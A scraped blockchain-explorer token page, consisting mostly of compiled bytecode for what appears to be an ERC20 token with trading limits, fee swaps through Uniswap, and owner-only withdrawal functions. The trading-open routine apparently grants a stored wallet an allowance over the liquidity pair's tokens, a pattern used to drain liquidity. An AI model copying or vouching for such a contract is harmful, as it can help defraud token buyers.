90611785565b60405180910390fd5b5f47116104ab575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156104d4573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105005760405162461bcd60e51b815260040161049790611785565b6040516370a0823160e01b81523060048201525f906105819060649061057b9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610551573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057591906117ba565b906111a4565b90611229565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156105dd573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060191906117d1565b50505050565b5f546001600160a01b031633146106305760405162461bcd60e51b815260040161049790611785565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106a15760405162461bcd60e51b815260040161049790611785565b6106ad6009600a611760565b6106bb90633b9aca0061176e565b600d556106ca6009600a611760565b6106d890633b9aca0061176e565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107086009600a611760565b61071690633b9aca0061176e565b60405190815260200160405180910390a1565b5f6103dd338484610ba1565b5f546001600160a01b0316331461075e5760405162461bcd60e51b815260040161049790611785565b6012805461ffff60a01b191661010160a01b179055565b5f546001600160a01b0316331461079e5760405162461bcd60e51b815260040161049790611785565b601254600160a01b900460ff16156107f85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610497565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561085a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087e91906117f0565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108dd573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061090191906117f0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561094b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096f91906117f0565b601280546001600160a01b039283166001600160a01b031991821617909155600480548484169216821790555f908152600360205260409020805460ff191660011790556011546109d7913091166109c96009600a611760565b61045f90633b9aca0061176e565b6011546001600160a01b031663f305d7194730610a08816001600160a01b03165f9081526001602052604090205490565b5f80610a1b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a81573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610aa6919061180b565b505f9150610ab790505f1982611836565b6004549091506001600160a01b03163315801590610ad457505f43115b15610af057601254610af0906001600160a01b0316828461126a565b505050565b6001600160a01b038316610b1b5760405162461bcd60e51b815260040161049790611849565b6001600160a01b038216610b415760405162461bcd60e51b81526004016104979061188d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610497565b6001600160a01b038216610c675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610497565b5f8111610cc85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610497565b5f80546001600160a01b03858116911614801590610cf357505f546001600160a01b03848116911614155b1561102f576012546001600160a01b038581169116148015610d2357506011546001600160a01b03848116911614155b15610ea1576001600160a01b0383165f9081526003602052604090205460ff16610ea157601254600160a01b900460ff16610d985760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610497565b610dbe606461057b600954600c5411610db357600554610db7565b6008545b85906111a4565b9050600d54821115610e125760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610497565b600e5482610e34856001600160a01b03165f9081526001602052604090205490565b610e3e9190611836565b1115610e8c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610497565b600c8054905f610e9b836118cf565b91905055505b6012546001600160a01b03848116911614801590610ed757506001600160a01b0383165f9081526003602052604090205460ff16155b15610f5657600e5482610efe856001600160a01b03165f9081526001602052604090205490565b610f089190611836565b1115610f565760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610497565b6012546001600160a01b038481169116148015610f7c57506001600160a01b0384163014155b15610f9f57610f9c606461057b600a54600c5411610db357600654610db7565b90505b601254600160b01b900460ff16158015610fc657506012546001600160a01b038481169116145b8015610fdb5750601254600160a81b900460ff165b8015610fea5750600b54600c54115b1561102f57305f90815260016020526040902054600f54811115611025576110256110208461101b846010546112e1565b6112e1565b6112f5565b61102d611465565b505b80156110a757305f9081526001602052604090205461104e908261149b565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061109e9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110c990836114f9565b6001600160a01b0385165f9081526001602052604090205561110c6110ee83836114f9565b6001600160a01b0385165f908152600160205260409020549061149b565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61115585856114f9565b60405190815260200160405180910390a350505050565b5f818484111561118f5760405162461bcd60e51b81526004016104979190611566565b505f61119b84866118e7565b95945050505050565b5f825f036111b357505f6103e1565b5f6111be838561176e565b9050826111cb85836118fa565b146112225760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610497565b9392505050565b5f61122283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061153a565b6001600160a01b0383166112905760405162461bcd60e51b815260040161049790611849565b6001600160a01b0382166112b65760405162461bcd60e51b81526004016104979061188d565b6001600160a01b039283165f9081526002602090815260408083209490951682529290925291902055565b5f8183116112ef5782611222565b50919050565b6012805460ff60b01b1916600160b01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061133b5761133b611919565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611392573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113b691906117f0565b816001815181106113c9576113c9611919565b6001600160a01b0392831660209182029290920101526011546113ef9130911684610af5565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114279085905f9086903090429060040161192d565b5f604051808303815f87803b15801561143e575f80fd5b505af1158015611450573d5f803e3d5ffd5b50506012805460ff60b01b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156104d4573d5f803e3d5ffd5b5f806114a78385611836565b9050838110156112225760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610497565b5f61122283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061116c565b5f818361155a5760405162461bcd60e51b81526004016104979190611566565b505f61119b84866118fa565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104d4575f80fd5b5f80604083850312156115c0575f80fd5b82356115cb8161159b565b946020939093013593505050565b5f805f606084860312156115eb575f80fd5b83356115f68161159b565b925060208401356116068161159b565b929592945050506040919091013590565b5f60208284031215611627575f80fd5b81356112228161159b565b5f8060408385031215611643575f80fd5b823561164e8161159b565b9150602083013561165e8161159b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156116b85780850481111561169c5761169c611669565b60018416156116aa57908102905b60019390931c928002611681565b935093915050565b5f826116ce575060016103e1565b816116da57505f6103e1565b81600181146116f057600281146116fa57611716565b60019150506103e1565b60ff84111561170b5761170b611669565b50506001821b6103e1565b5060208310610133831016604e8410600b8410161715611739575081810a6103e1565b6117455f19848461167d565b805f190482111561175857611758611669565b029392505050565b5f61122260ff8416836116c0565b80820281158282048414176103e1576103e1611669565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117ca575f80fd5b5051919050565b5f602082840312156117e1575f80fd5b81518015158114611222575f80fd5b5f60208284031215611800575f80fd5b81516112228161159b565b5f805f6060848603121561181d575f80fd5b5050815160208301516040909301519094929350919050565b808201808211156103e1576103e1611669565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b5f600182016118e0576118e0611669565b5060010190565b818103818111156103e1576103e1611669565b5f8261191457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561197d5783516001600160a01b0316835260209384019390920191600101611956565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d2867533a0263ace2023077bef6aaaa38c2a8222f9237f8f8178b1af8eecb5e64736f6c634300081a0033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.